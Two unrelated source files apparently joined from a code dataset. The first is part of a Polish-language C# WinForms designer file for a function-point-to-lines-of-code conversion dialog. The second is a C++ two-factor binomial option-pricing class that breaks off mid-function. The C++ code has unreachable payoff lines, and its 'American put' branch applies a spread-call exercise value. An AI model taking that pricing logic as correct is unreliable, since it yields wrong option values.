NumericFocus // this.NumericFocus.Dock = System.Windows.Forms.DockStyle.Fill; this.NumericFocus.Location = new System.Drawing.Point(190, 354); this.NumericFocus.Maximum = new decimal(new int[] { 1000000, 0, 0, 0}); this.NumericFocus.Name = "NumericFocus"; this.NumericFocus.Size = new System.Drawing.Size(129, 22); this.NumericFocus.TabIndex = 16; this.NumericFocus.TextAlign = System.Windows.Forms.HorizontalAlignment.Right; this.NumericFocus.ThousandsSeparator = true; this.ToolTip.SetToolTip(this.NumericFocus, "Wprowadź nową wartość, która wynika z danych historycznych organizacji"); this.NumericFocus.ValueChanged += new System.EventHandler(this.NumericFocus_ValueChanged); // // NumericFoxPro // this.NumericFoxPro.Dock = System.Windows.Forms.DockStyle.Fill; this.NumericFoxPro.Location = new System.Drawing.Point(190, 381); this.NumericFoxPro.Maximum = new decimal(new int[] { 1000000, 0, 0, 0}); this.NumericFoxPro.Name = "NumericFoxPro"; this.NumericFoxPro.Size = new System.Drawing.Size(129, 22); this.NumericFoxPro.TabIndex = 17; this.NumericFoxPro.TextAlign = System.Windows.Forms.HorizontalAlignment.Right; this.NumericFoxPro.ThousandsSeparator = true; this.ToolTip.SetToolTip(this.NumericFoxPro, "Wprowadź nową wartość, która wynika z danych historycznych organizacji"); this.NumericFoxPro.ValueChanged += new System.EventHandler(this.NumericFoxPro_ValueChanged); // // NumericHTML // this.NumericHTML.Dock = System.Windows.Forms.DockStyle.Fill; this.NumericHTML.Location = new System.Drawing.Point(190, 408); this.NumericHTML.Maximum = new decimal(new int[] { 1000000, 0, 0, 0}); this.NumericHTML.Name = "NumericHTML"; this.NumericHTML.Size = new System.Drawing.Size(129, 22); this.NumericHTML.TabIndex = 18; this.NumericHTML.TextAlign = System.Windows.Forms.HorizontalAlignment.Right; this.NumericHTML.ThousandsSeparator = true; this.ToolTip.SetToolTip(this.NumericHTML, "Wprowadź nową wartość, która wynika z danych historycznych organizacji"); this.NumericHTML.ValueChanged += new System.EventHandler(this.NumericHTML_ValueChanged); // // NumericJ2EE // this.NumericJ2EE.Dock = System.Windows.Forms.DockStyle.Fill; this.NumericJ2EE.Location = new System.Drawing.Point(190, 435); this.NumericJ2EE.Maximum = new decimal(new int[] { 1000000, 0, 0, 0}); this.NumericJ2EE.Name = "NumericJ2EE"; this.NumericJ2EE.Size = new System.Drawing.Size(129, 22); this.NumericJ2EE.TabIndex = 19; this.NumericJ2EE.TextAlign = System.Windows.Forms.HorizontalAlignment.Right; this.NumericJ2EE.ThousandsSeparator = true; this.ToolTip.SetToolTip(this.NumericJ2EE, "Wprowadź nową wartość, która wynika z danych historycznych organizacji"); this.NumericJ2EE.ValueChanged += new System.EventHandler(this.NumericJ2EE_ValueChanged); // // NumericJava // this.NumericJava.Dock = System.Windows.Forms.DockStyle.Fill; this.NumericJava.Location = new System.Drawing.Point(190, 462); this.NumericJava.Maximum = new decimal(new int[] { 1000000, 0, 0, 0}); this.NumericJava.Name = "NumericJava"; this.NumericJava.Size = new System.Drawing.Size(129, 22); this.NumericJava.TabIndex = 20; this.NumericJava.TextAlign = System.Windows.Forms.HorizontalAlignment.Right; this.NumericJava.ThousandsSeparator = true; this.ToolTip.SetToolTip(this.NumericJava, "Wprowadź nową wartość, która wynika z danych historycznych organizacji"); this.NumericJava.ValueChanged += new System.EventHandler(this.NumericJava_ValueChanged); // // NumericJCL // this.NumericJCL.Dock = System.Windows.Forms.DockStyle.Fill; this.NumericJCL.Location = new System.Drawing.Point(431, 3); this.NumericJCL.Maximum = new decimal(new int[] { 1000000, 0, 0, 0}); this.NumericJCL.Name = "NumericJCL"; this.NumericJCL.Size = new System.Drawing.Size(127, 22); this.NumericJCL.TabIndex = 22; this.NumericJCL.TextAlign = System.Windows.Forms.HorizontalAlignment.Right; this.NumericJCL.ThousandsSeparator = true; this.ToolTip.SetToolTip(this.NumericJCL, "Wprowadź nową wartość, która wynika z danych historycznych organizacji"); this.NumericJCL.ValueChanged += new System.EventHandler(this.NumericJCL_ValueChanged); // // NumericLINC // this.NumericLINC.Dock = System.Windows.Forms.DockStyle.Fill; this.NumericLINC.Location = new System.Drawing.Point(431, 30); this.NumericLINC.Maximum = new decimal(new int[] { 1000000, 0, 0, 0}); this.NumericLINC.Name = "NumericLINC"; this.NumericLINC.Size = new System.Drawing.Size(127, 22); this.NumericLINC.TabIndex = 23; this.NumericLINC.TextAlign = System.Windows.Forms.HorizontalAlignment.Right; this.NumericLINC.ThousandsSeparator = true; this.ToolTip.SetToolTip(this.NumericLINC, "Wprowadź nową wartość, która wynika z danych historycznych organizacji"); this.NumericLINC.ValueChanged += new System.EventHandler(this.NumericLINC_ValueChanged); // // NumericLotus // this.NumericLotus.Dock = System.Windows.Forms.DockStyle.Fill; this.NumericLotus.Location = new System.Drawing.Point(431, 57); this.NumericLotus.Maximum = new decimal(new int[] { 1000000, 0, 0, 0}); this.NumericLotus.Name = "NumericLotus"; this.NumericLotus.Size = new System.Drawing.Size(127, 22); this.NumericLotus.TabIndex = 24; this.NumericLotus.TextAlign = System.Windows.Forms.HorizontalAlignment.Right; this.NumericLotus.ThousandsSeparator = true; this.ToolTip.SetToolTip(this.NumericLotus, "Wprowadź nową wartość, która wynika z danych historycznych organizacji"); this.NumericLotus.ValueChanged += new System.EventHandler(this.NumericLotus_ValueChanged); // // NumericNatural // this.NumericNatural.Dock = System.Windows.Forms.DockStyle.Fill; this.NumericNatural.Location = new System.Drawing.Point(431, 84); this.NumericNatural.Maximum = new decimal(new int[] { 1000000, 0, 0, 0}); this.NumericNatural.Name = "NumericNatural"; this.NumericNatural.Size = new System.Drawing.Size(127, 22); this.NumericNatural.TabIndex = 25; this.NumericNatural.TextAlign = System.Windows.Forms.HorizontalAlignment.Right; this.NumericNatural.ThousandsSeparator = true; this.ToolTip.SetToolTip(this.NumericNatural, "Wprowadź nową wartość, która wynika z danych historycznych organizacji"); this.NumericNatural.ValueChanged += new System.EventHandler(this.NumericNatural_ValueChanged); // // NumericDotNet // this.NumericDotNet.Dock = System.Windows.Forms.DockStyle.Fill; this.NumericDotNet.Location = new System.Drawing.Point(431, 111); this.NumericDotNet.Maximum = new decimal(new int[] { 1000000, 0, 0, 0}); this.NumericDotNet.Name = "NumericDotNet"; this.NumericDotNet.Size = new System.Drawing.Size(127, 22); this.NumericDotNet.TabIndex = 26; this.NumericDotNet.TextAlign = System.Windows.Forms.HorizontalAlignment.Right; this.NumericDotNet.ThousandsSeparator = true; this.ToolTip.SetToolTip(this.NumericDotNet, "Wprowadź nową wartość, która wynika z danych historycznych organizacji"); this.NumericDotNet.ValueChanged += new System.EventHandler(this.NumericDotNet_ValueChanged); // // NumericOracle // this.NumericOracle.Dock = System.Windows.Forms.DockStyle.Fill; this.NumericOracle.Location = new System.Drawing.Point(431, 138); this.NumericOracle.Maximum = new decimal(new int[] { 1000000, 0, 0, 0}); this.NumericOracle.Name = "NumericOracle"; this.NumericOracle.Size = new System.Drawing.Size(127, 22); this.NumericOracle.TabIndex = 27; this.NumericOracle.TextAlign = System.Windows.Forms.HorizontalAlignment.Right; this.NumericOracle.ThousandsSeparator = true; this.ToolTip.SetToolTip(this.NumericOracle, "Wprowadź nową wartość, która wynika z danych historycznych organizacji"); this.NumericOracle.ValueChanged += new System.EventHandler(this.NumericOracle_ValueChanged); // // NumericPACBASE // this.NumericPACBASE.Dock = System.Windows.Forms.DockStyle.Fill; this.NumericPACBASE.Location = new System.Drawing.Point(431, 165); this.NumericPACBASE.Maximum = new decimal(new int[] { 1000000, 0, 0, 0}); this.NumericPACBASE.Name = "NumericPACBASE"; this.NumericPACBASE.Size = new System.Drawing.Size(127, 22); this.NumericPACBASE.TabIndex = 28; this.NumericPACBASE.TextAlign = System.Windows.Forms.HorizontalAlignment.Right; this.NumericPACBASE.ThousandsSeparator = true; this.ToolTip.SetToolTip(this.NumericPACBASE, "Wprowadź nową wartość, która wynika z danych historycznych organizacji"); this.NumericPACBASE.ValueChanged += new System.EventHandler(this.NumericPACBASE_ValueChanged); // // NumericPerl // this.NumericPerl.Dock = System.Windows.Forms.DockStyle.Fill; this.NumericPerl.Location = new System.Drawing.Point(431, 192); this.NumericPerl.Maximum = new decimal(new int[] { 1000000, 0, 0, 0}); this.NumericPerl.Name = "NumericPerl"; this.NumericPerl.Size = new System.Drawing.Size(127, 22); this.NumericPerl.TabIndex = 29; this.NumericPerl.TextAlign = System.Windows.Forms.HorizontalAlignment.Right; this.NumericPerl.ThousandsSeparator = true; this.ToolTip.SetToolTip(this.NumericPerl, "Wprowadź nową wartość, która wynika z danych historycznych organizacji"); this.NumericPerl.ValueChanged += new System.EventHandler(this.NumericPerl_ValueChanged); // // NumericPLI // this.NumericPLI.Dock = System.Windows.Forms.DockStyle.Fill; this.NumericPLI.Location = new System.Drawing.Point(431, 219); this.NumericPLI.Maximum = new decimal(new int[] { 1000000, 0, 0, 0}); this.NumericPLI.Name = "NumericPLI"; this.NumericPLI.Size = new System.Drawing.Size(127, 22); this.NumericPLI.TabIndex = 30; this.NumericPLI.TextAlign = System.Windows.Forms.HorizontalAlignment.Right; this.NumericPLI.ThousandsSeparator = true; this.ToolTip.SetToolTip(this.NumericPLI, "Wprowadź nową wartość, która wynika z danych historycznych organizacji"); this.NumericPLI.ValueChanged += new System.EventHandler(this.NumericPLI_ValueChanged); // // NumericPLSQL // this.NumericPLSQL.Dock = System.Windows.Forms.DockStyle.Fill; this.NumericPLSQL.Location = new System.Drawing.Point(431, 246); this.NumericPLSQL.Maximum = new decimal(new int[] { 1000000, 0, 0, 0}); this.NumericPLSQL.Name = "NumericPLSQL"; this.NumericPLSQL.Size = new System.Drawing.Size(127, 22); this.NumericPLSQL.TabIndex = 31; this.NumericPLSQL.TextAlign = System.Windows.Forms.HorizontalAlignment.Right; this.NumericPLSQL.ThousandsSeparator = true; this.ToolTip.SetToolTip(this.NumericPLSQL, "Wprowadź nową wartość, która wynika z danych historycznych organizacji"); this.NumericPLSQL.ValueChanged += new System.EventHandler(this.NumericPLSQL_ValueChanged); // // NumericPowerbuilder // this.NumericPowerbuilder.Dock = System.Windows.Forms.DockStyle.Fill; this.NumericPowerbuilder.Location = new System.Drawing.Point(431, 273); this.NumericPowerbuilder.Maximum = new decimal(new int[] { 1000000, 0, 0, 0}); this.NumericPowerbuilder.Name = "NumericPowerbuilder"; this.NumericPowerbuilder.Size = new System.Drawing.Size(127, 22); this.NumericPowerbuilder.TabIndex = 32; this.NumericPowerbuilder.TextAlign = System.Windows.Forms.HorizontalAlignment.Right; this.NumericPowerbuilder.ThousandsSeparator = true; this.ToolTip.SetToolTip(this.NumericPowerbuilder, "Wprowadź nową wartość, która wynika z danych historycznych organizacji"); this.NumericPowerbuilder.ValueChanged += new System.EventHandler(this.NumericPowerbuilder_ValueChanged); // // NumericREXX // this.NumericREXX.Dock = System.Windows.Forms.DockStyle.Fill; this.NumericREXX.Location = new System.Drawing.Point(431, 300); this.NumericREXX.Maximum = new decimal(new int[] { 1000000, 0, 0, 0}); this.NumericREXX.Name = "NumericREXX"; this.NumericREXX.Size = new System.Drawing.Size(127, 22); this.NumericREXX.TabIndex = 33; this.NumericREXX.TextAlign = System.Windows.Forms.HorizontalAlignment.Right; this.NumericREXX.ThousandsSeparator = true; this.ToolTip.SetToolTip(this.NumericREXX, "Wprowadź nową wartość, która wynika z danych historycznych organizacji"); this.NumericREXX.ValueChanged += new System.EventHandler(this.NumericREXX_ValueChanged); // // NumericSabretalk // this.NumericSabretalk.Dock = System.Windows.Forms.DockStyle.Fill; this.NumericSabretalk.Location = new System.Drawing.Point(431, 327); this.NumericSabretalk.Maximum = new decimal(new int[] { 1000000, 0, 0, 0}); this.NumericSabretalk.Name = "NumericSabretalk"; this.NumericSabretalk.Size = new System.Drawing.Size(127, 22); this.NumericSabretalk.TabIndex = 34; this.NumericSabretalk.TextAlign = System.Windows.Forms.HorizontalAlignment.Right; this.NumericSabretalk.ThousandsSeparator = true; this.ToolTip.SetToolTip(this.NumericSabretalk, "Wprowadź nową wartość, która wynika z danych historycznych organizacji"); this.NumericSabretalk.ValueChanged += new System.EventHandler(this.NumericSabretalk_ValueChanged); // // NumericSAS // this.NumericSAS.Dock = System.Windows.Forms.DockStyle.Fill; this.NumericSAS.Location = new System.Drawing.Point(431, 354); this.NumericSAS.Maximum = new decimal(new int[] { 1000000, 0, 0, 0}); this.NumericSAS.Name = "NumericSAS"; this.NumericSAS.Size = new System.Drawing.Size(127, 22); this.NumericSAS.TabIndex = 35; this.NumericSAS.TextAlign = System.Windows.Forms.HorizontalAlignment.Right; this.NumericSAS.ThousandsSeparator = true; this.ToolTip.SetToolTip(this.NumericSAS, "Wprowadź nową wartość, która wynika z danych historycznych organizacji"); this.NumericSAS.ValueChanged += new System.EventHandler(this.NumericSAS_ValueChanged); // // NumericSiebel // this.NumericSiebel.Dock = System.Windows.Forms.DockStyle.Fill; this.NumericSiebel.Location = new System.Drawing.Point(431, 381); this.NumericSiebel.Maximum = new decimal(new int[] { 1000000, 0, 0, 0}); this.NumericSiebel.Name = "NumericSiebel"; this.NumericSiebel.Size = new System.Drawing.Size(127, 22); this.NumericSiebel.TabIndex = 36; this.NumericSiebel.TextAlign = System.Windows.Forms.HorizontalAlignment.Right; this.NumericSiebel.ThousandsSeparator = true; this.ToolTip.SetToolTip(this.NumericSiebel, "Wprowadź nową wartość, która wynika z danych historycznych organizacji"); this.NumericSiebel.ValueChanged += new System.EventHandler(this.NumericSiebel_ValueChanged); // // NumericSLOGAN // this.NumericSLOGAN.Dock = System.Windows.Forms.DockStyle.Fill; this.NumericSLOGAN.Location = new System.Drawing.Point(431, 408); this.NumericSLOGAN.Maximum = new decimal(new int[] { 1000000, 0, 0, 0}); this.NumericSLOGAN.Name = "NumericSLOGAN"; this.NumericSLOGAN.Size = new System.Drawing.Size(127, 22); this.NumericSLOGAN.TabIndex = 37; this.NumericSLOGAN.TextAlign = System.Windows.Forms.HorizontalAlignment.Right; this.NumericSLOGAN.ThousandsSeparator = true; this.ToolTip.SetToolTip(this.NumericSLOGAN, "Wprowadź nową wartość, która wynika z danych historycznych organizacji"); this.NumericSLOGAN.ValueChanged += new System.EventHandler(this.NumericSLOGAN_ValueChanged); // // NumericSQL // this.NumericSQL.Dock = System.Windows.Forms.DockStyle.Fill; this.NumericSQL.Location = new System.Drawing.Point(431, 435); this.NumericSQL.Maximum = new decimal(new int[] { 1000000, 0, 0, 0}); this.NumericSQL.Name = "NumericSQL"; this.NumericSQL.Size = new System.Drawing.Size(127, 22); this.NumericSQL.TabIndex = 38; this.NumericSQL.TextAlign = System.Windows.Forms.HorizontalAlignment.Right; this.NumericSQL.ThousandsSeparator = true; this.ToolTip.SetToolTip(this.NumericSQL, "Wprowadź nową wartość, która wynika z danych historycznych organizacji"); this.NumericSQL.ValueChanged += new System.EventHandler(this.NumericSQL_ValueChanged); // // NumericVBNet // this.NumericVBNet.Dock = System.Windows.Forms.DockStyle.Fill; this.NumericVBNet.Location = new System.Drawing.Point(431, 462); this.NumericVBNet.Maximum = new decimal(new int[] { 1000000, 0, 0, 0}); this.NumericVBNet.Name = "NumericVBNet"; this.NumericVBNet.Size = new System.Drawing.Size(127, 22); this.NumericVBNet.TabIndex = 39; this.NumericVBNet.TextAlign = System.Windows.Forms.HorizontalAlignment.Right; this.NumericVBNet.ThousandsSeparator = true; this.ToolTip.SetToolTip(this.NumericVBNet, "Wprowadź nową wartość, która wynika z danych historycznych organizacji"); this.NumericVBNet.ValueChanged += new System.EventHandler(this.NumericVBNet_ValueChanged); // // NumericVisualBasic // this.NumericVisualBasic.Dock = System.Windows.Forms.DockStyle.Fill; this.NumericVisualBasic.Location = new System.Drawing.Point(431, 489); this.NumericVisualBasic.Maximum = new decimal(new int[] { 1000000, 0, 0, 0}); this.NumericVisualBasic.Name = "NumericVisualBasic"; this.NumericVisualBasic.Size = new System.Drawing.Size(127, 22); this.NumericVisualBasic.TabIndex = 40; this.NumericVisualBasic.TextAlign = System.Windows.Forms.HorizontalAlignment.Right; this.NumericVisualBasic.ThousandsSeparator = true; this.ToolTip.SetToolTip(this.NumericVisualBasic, "Wprowadź nową wartość, która wynika z danych historycznych organizacji"); this.NumericVisualBasic.ValueChanged += new System.EventHandler(this.NumericVisualBasic_ValueChanged); // // ButtonPrzywrocDomyslne // this.ButtonPrzywrocDomyslne.Location = new System.Drawing.Point(378, 563); this.ButtonPrzywrocDomyslne.Name = "ButtonPrzywrocDomyslne"; this.ButtonPrzywrocDomyslne.Size = new System.Drawing.Size(192, 42); this.ButtonPrzywrocDomyslne.TabIndex = 2; this.ButtonPrzywrocDomyslne.Text = "Przywróć wartości domyślne"; this.ToolTip.SetToolTip(this.ButtonPrzywrocDomyslne, "Przywraca domyślne wartości do tabeli przeliczeniowej punktów funkcyjnych"); this.ButtonPrzywrocDomyslne.UseVisualStyleBackColor = true; this.ButtonPrzywrocDomyslne.Click += new System.EventHandler(this.ButtonPrzywrocDomyslne_Click); // // ButtonAnuluj // this.ButtonAnuluj.DialogResult = System.Windows.Forms.DialogResult.Cancel; this.ButtonAnuluj.Font = new System.Drawing.Font("Arial", 9.75F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(238))); this.ButtonAnuluj.Location = new System.Drawing.Point(324, 654); this.ButtonAnuluj.Name = "ButtonAnuluj"; this.ButtonAnuluj.Size = new System.Drawing.Size(104, 27); this.ButtonAnuluj.TabIndex = 1; this.ButtonAnuluj.Text = "Anuluj"; this.ButtonAnuluj.UseVisualStyleBackColor = true; // // ButtonOk // this.ButtonOk.DialogResult = System.Windows.Forms.DialogResult.OK; this.ButtonOk.Font = new System.Drawing.Font("Arial", 9.75F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(238))); this.ButtonOk.Location = new System.Drawing.Point(164, 654); this.ButtonOk.Name = "ButtonOk"; this.ButtonOk.Size = new System.Drawing.Size(104, 27); this.ButtonOk.TabIndex = 0; this.ButtonOk.Text = "OK"; this.ButtonOk.UseVisualStyleBackColor = true; // // OknoTabelaPrzeliczeniowa // this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; this.ClientSize = new System.Drawing.Size(606, 708); this.Controls.Add(this.ButtonAnuluj); this.Controls.Add(this.ButtonOk); this.Controls.Add(this.GroupBoxKalibracja); this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); this.Name = "OknoTabelaPrzeliczeniowa"; this.StartPosition = System.Windows.Forms.FormStartPosition.CenterParent; this.Text = "Tabela przeliczeniowa punktów funkcyjnych na linie kodu źródłowego"; this.GroupBoxKalibracja.ResumeLayout(false); this.tableLayoutPanel2.ResumeLayout(false); this.tableLayoutPanel2.PerformLayout(); ((System.ComponentModel.ISupportInitialize)(this.NumericJavaScript)).EndInit(); ((System.ComponentModel.ISupportInitialize)(this.NumericABAP)).EndInit(); ((System.ComponentModel.ISupportInitialize)(this.NumericASP)).EndInit(); ((System.ComponentModel.ISupportInitialize)(this.NumericBrio)).EndInit(); ((System.ComponentModel.ISupportInitialize)(this.NumericAssembler)).EndInit(); ((System.ComponentModel.ISupportInitialize)(this.NumericC)).EndInit(); ((System.ComponentModel.ISupportInitialize)(this.NumericCpp)).EndInit(); ((System.ComponentModel.ISupportInitialize)(this.NumericCsharp)).EndInit(); ((System.ComponentModel.ISupportInitialize)(this.NumericCOBOL)).EndInit(); ((System.ComponentModel.ISupportInitialize)(this.NumericCognos)).EndInit(); ((System.ComponentModel.ISupportInitialize)(this.NumericCross)).EndInit(); ((System.ComponentModel.ISupportInitialize)(this.NumericCool)).EndInit(); ((System.ComponentModel.ISupportInitialize)(this.NumericDatastage)).EndInit(); ((System.ComponentModel.ISupportInitialize)(this.NumericExcel)).EndInit(); ((System.ComponentModel.ISupportInitialize)(this.NumericFocus)).EndInit(); ((System.ComponentModel.ISupportInitialize)(this.NumericFoxPro)).EndInit(); ((System.ComponentModel.ISupportInitialize)(this.NumericHTML)).EndInit(); ((System.ComponentModel.ISupportInitialize)(this.NumericJ2EE)).EndInit(); ((System.ComponentModel.ISupportInitialize)(this.NumericJava)).EndInit(); ((System.ComponentModel.ISupportInitialize)(this.NumericJCL)).EndInit(); ((System.ComponentModel.ISupportInitialize)(this.NumericLINC)).EndInit(); ((System.ComponentModel.ISupportInitialize)(this.NumericLotus)).EndInit(); ((System.ComponentModel.ISupportInitialize)(this.NumericNatural)).EndInit(); ((System.ComponentModel.ISupportInitialize)(this.NumericDotNet)).EndInit(); ((System.ComponentModel.ISupportInitialize)(this.NumericOracle)).EndInit(); ((System.ComponentModel.ISupportInitialize)(this.NumericPACBASE)).EndInit(); ((System.ComponentModel.ISupportInitialize)(this.NumericPerl)).EndInit(); ((System.ComponentModel.ISupportInitialize)(this.NumericPLI)).EndInit(); ((System.ComponentModel.ISupportInitialize)(this.NumericPLSQL)).EndInit(); ((System.ComponentModel.ISupportInitialize)(this.NumericPowerbuilder)).EndInit(); ((System.ComponentModel.ISupportInitialize)(this.NumericREXX)).EndInit(); ((System.ComponentModel.ISupportInitialize)(this.NumericSabretalk)).EndInit(); ((System.ComponentModel.ISupportInitialize)(this.NumericSAS)).EndInit(); ((System.ComponentModel.ISupportInitialize)(this.NumericSiebel)).EndInit(); ((System.ComponentModel.ISupportInitialize)(this.NumericSLOGAN)).EndInit(); ((System.ComponentModel.ISupportInitialize)(this.NumericSQL)).EndInit(); ((System.ComponentModel.ISupportInitialize)(this.NumericVBNet)).EndInit(); ((System.ComponentModel.ISupportInitialize)(this.NumericVisualBasic)).EndInit(); this.ResumeLayout(false); } #endregion private System.Windows.Forms.GroupBox GroupBoxKalibracja; private System.Windows.Forms.TableLayoutPanel tableLayoutPanel2; private System.Windows.Forms.Label LabelDataRozp; private System.Windows.Forms.NumericUpDown NumericABAP; private System.Windows.Forms.Button ButtonPrzywrocDomyslne; private System.Windows.Forms.Label label12; private System.Windows.Forms.Label label1; private System.Windows.Forms.Label label3; private System.Windows.Forms.Label label2; private System.Windows.Forms.Label label8; private System.Windows.Forms.Label label7; private System.Windows.Forms.Label label4; private System.Windows.Forms.Label label10; private System.Windows.Forms.Label label9; private System.Windows.Forms.Label label14; private System.Windows.Forms.Label label18; private System.Windows.Forms.Label label22; private System.Windows.Forms.Label label26; private System.Windows.Forms.Label label30; private System.Windows.Forms.Label label13; private System.Windows.Forms.Label label17; private System.Windows.Forms.Label label21; private System.Windows.Forms.Label label25; private System.Windows.Forms.Label label31; private System.Windows.Forms.Label label33; private System.Windows.Forms.Label label6; private System.Windows.Forms.Label label11; private System.Windows.Forms.Label label5; private System.Windows.Forms.Label label15; private System.Windows.Forms.Label label23; private System.Windows.Forms.Label label29; private System.Windows.Forms.Label label36; private System.Windows.Forms.Label label16; private System.Windows.Forms.Label label19; private System.Windows.Forms.Label label20; private System.Windows.Forms.Label label27; private System.Windows.Forms.Label label32; private System.Windows.Forms.Label label28; private System.Windows.Forms.Label label37; private System.Windows.Forms.Label label35; private System.Windows.Forms.Label label40; private System.Windows.Forms.Label label45; private System.Windows.Forms.Button ButtonAnuluj; private System.Windows.Forms.Button ButtonOk; private System.Windows.Forms.NumericUpDown NumericJavaScript; private System.Windows.Forms.NumericUpDown NumericASP; private System.Windows.Forms.NumericUpDown NumericBrio; private System.Windows.Forms.NumericUpDown NumericAssembler; private System.Windows.Forms.NumericUpDown NumericC; private System.Windows.Forms.NumericUpDown NumericCpp; private System.Windows.Forms.NumericUpDown NumericCsharp; private System.Windows.Forms.NumericUpDown NumericCOBOL; private System.Windows.Forms.NumericUpDown NumericCognos; private System.Windows.Forms.NumericUpDown NumericCross; private System.Windows.Forms.NumericUpDown NumericCool; private System.Windows.Forms.NumericUpDown NumericDatastage; private System.Windows.Forms.NumericUpDown NumericExcel; private System.Windows.Forms.NumericUpDown NumericFocus; private System.Windows.Forms.NumericUpDown NumericFoxPro; private System.Windows.Forms.NumericUpDown NumericHTML; private System.Windows.Forms.NumericUpDown NumericJ2EE; private System.Windows.Forms.NumericUpDown NumericJava; private System.Windows.Forms.NumericUpDown NumericJCL; private System.Windows.Forms.NumericUpDown NumericLINC; private System.Windows.Forms.NumericUpDown NumericLotus; private System.Windows.Forms.NumericUpDown NumericNatural; private System.Windows.Forms.NumericUpDown NumericDotNet; private System.Windows.Forms.NumericUpDown NumericOracle; private System.Windows.Forms.NumericUpDown NumericPACBASE; private System.Windows.Forms.NumericUpDown NumericPerl; private System.Windows.Forms.NumericUpDown NumericPLI; private System.Windows.Forms.NumericUpDown NumericPLSQL; private System.Windows.Forms.NumericUpDown NumericPowerbuilder; private System.Windows.Forms.NumericUpDown NumericREXX; private System.Windows.Forms.NumericUpDown NumericSabretalk; private System.Windows.Forms.NumericUpDown NumericSAS; private System.Windows.Forms.NumericUpDown NumericSiebel; private System.Windows.Forms.NumericUpDown NumericSLOGAN; private System.Windows.Forms.NumericUpDown NumericSQL; private System.Windows.Forms.NumericUpDown NumericVBNet; private System.Windows.Forms.NumericUpDown NumericVisualBasic; private System.Windows.Forms.ToolTip ToolTip; } }
56.157791
164
0.629461
[ "MIT" ]
mmorawa/Software-Estimation-App
Aplikacja/OknoTabelaPrzeliczeniowa.Designer.cs
85,623
C#
// TwoFactorBinomial.cpp // // This class represents a trinomial tree model of the asset price. // This model assumes that the asset price can reach tree values. // When x = lnS, than the tree values can be calculated via: // lnS = x + dx, lnS = x, lnS = x - dx. Thus S can become larger, smaller or // stay same with a defined way. // // Started 30 october 2000 (JT) // 2006-8-5 DD Update and rewrite // 2006-8-7 DD done for 2-factor binomial method // // (C) Datasim Component Technology 2000-2006 #include "TwoFactorBinomial.hpp" #include "Vector.cpp" #include "arraymechanisms.cpp" #include "matrixmechanisms.cpp" #include <cmath> #include <iostream> using namespace std; #ifndef TwoFactorBinomial_CPP #define TwoFactorBinomial_CPP namespace Datasim { // Constructors and destructor TwoFactorBinomial::TwoFactorBinomial() {// Default constructor // No body } TwoFactorBinomial::TwoFactorBinomial(const TwoFactorBinomial& tritree) {// Copy-constructor // No body } TwoFactorBinomial::TwoFactorBinomial(TwoFactorBinomialParameters& optionData, long NSteps, double S1, double S2) { // The most important constuctor par = &optionData; N = NSteps; // Mesh sizes, Clewlow (2.43)-(2.44) k = par->T/double(N); // DeltaT h1 = par->sigma1 * ::sqrt(k); // DeltaX1 h2 = par->sigma2 * ::sqrt(k); // DeltaX2 cout << "deltas t, S... " << k << ", " << h1 << ", " << h2 << endl; // Parameters (prob) double nu1 = par->r - par->div1 - (0.5 * par->sigma1 * par->sigma1); double nu2 = par->r - par->div2 - (0.5 * par->sigma2 * par->sigma2); cout << "nu1... " << nu1 << ", " << nu2 << endl; double a = h1*h2; double b = h2 * nu1 * k; double c = h1 * nu2 * k; double d = par->rho * par->sigma1 * par->sigma2 * k; //cout << "a ..." << a << ", " << b << ", " << c << ", " << d << endl; double disc = ::exp(-(par->r) * k); puu = disc * 0.25 * (a + b + c + d)/a; // eq. (2.45) pud = disc * 0.25 * (a + b - c - d)/a; pdu = disc * 0.25 * (a - b + c - d)/a; pdd = disc * 0.25 * (a - b - c + d)/a; cout << "puu ..." << puu << ", " << pud << ", " << pdu << ", " << pdd << endl; // Asset arrays // Initialise asset prices at *maturity*. Norice that the start index is a negative number asset1 = Vector<double,long>(2*N+1,-N); asset2 = Vector<double,long>(2*N+1,-N); asset1[-N] = S1 * ::exp(-N*h1); asset2[-N] = S2 * ::exp(-N*h2); double edx1 = ::exp(h1); double edx2 = ::exp(h2); cout << "edx1... disc " << edx1 << ", " << edx2 << ", " << disc << endl; for (long n = -N + 1; n <= N; n++) { asset1[n] = asset1[n-1] * edx1; asset2[n] = asset2[n-1] * edx2; } //print(asset1); //print(asset2); option = NumericMatrix<double,long>(2*N + 1, 2*N + 1, -N, -N); // Calculate option price at the expiry date for (long j = option.MinRowIndex(); j <= option.MaxRowIndex(); j += 2) { cout << j << ", "; for (long k = option.MinColumnIndex(); k <= option.MaxColumnIndex(); k += 2) { option(j, k) = Payoff(asset1[j], asset2[k]); } } } TwoFactorBinomial::~TwoFactorBinomial() {// Destructor } // Operator overloading TwoFactorBinomial& TwoFactorBinomial::operator=(const TwoFactorBinomial& tritree) {// Assignment // No body return *this; } // Payoff function (modify as needed) inline double TwoFactorBinomial::Payoff(double S1, double S2) const { return std::max(0.0, (par->K) - S1); // return S1*(1-S1)*S2*(1-S2); // Spread option // return std::max(0.0, (S1 - S2) - (par->K)); // return std::max(0.0, (par->K) - (S1 - S2)); // Topper basket put page 197 double a1 = 1.0; double a2 = -1.0; return std::max(0.0, (par->K) - (a1*S1 + a2*S2)); // double a1 = 1.0; double a2 = 1.0; // return std::max(0.0, -(par->K) + (a1*S1 + a2*S2)); } // Functions for declaration and initialisation of the trinomial tree double TwoFactorBinomial::Price() {// Calculate Call price: page 44 Clewlow // Step back through lattice, starting from maturity as given value n = N // European option if (par->exercise == false) { for(long n = N-1; n >= 0; n--) { cout << n << "\n "; for(long j = -n; j <= n; j += 2) { for (long k = -n; k <= n; k += 2) { option(j, k) = puu * option(j+1, k+1) + pud * option(j+1,k-1) + pdu * option(j-1, k+1) + pdd * option(j-1,k-1); } } } } else // American put only { cout << "American exercise\n"; for(long n = N-1; n >= 0; n--) { for(long j = -n; j <= n; j += 2) { for (long k = -n; k <= n; k += 2) { option(j,k) = puu * option(j+1, k+1) + pud * option(j+1,k-1) + pdu * option(j-1, k+1) + pdd * option(j-1,k-1); option(j,k) = std::max(option(j,k), asset1[j] - asset2[k] - (par->K)); } } } } return option(0,0); } // Accuracy of price on number of steps Vector<double, long> Prices(TwoFactorBinomialParameters& optionData, const Vector<long, long>& meshSizes, double S1, double S2) { // Caculates the price 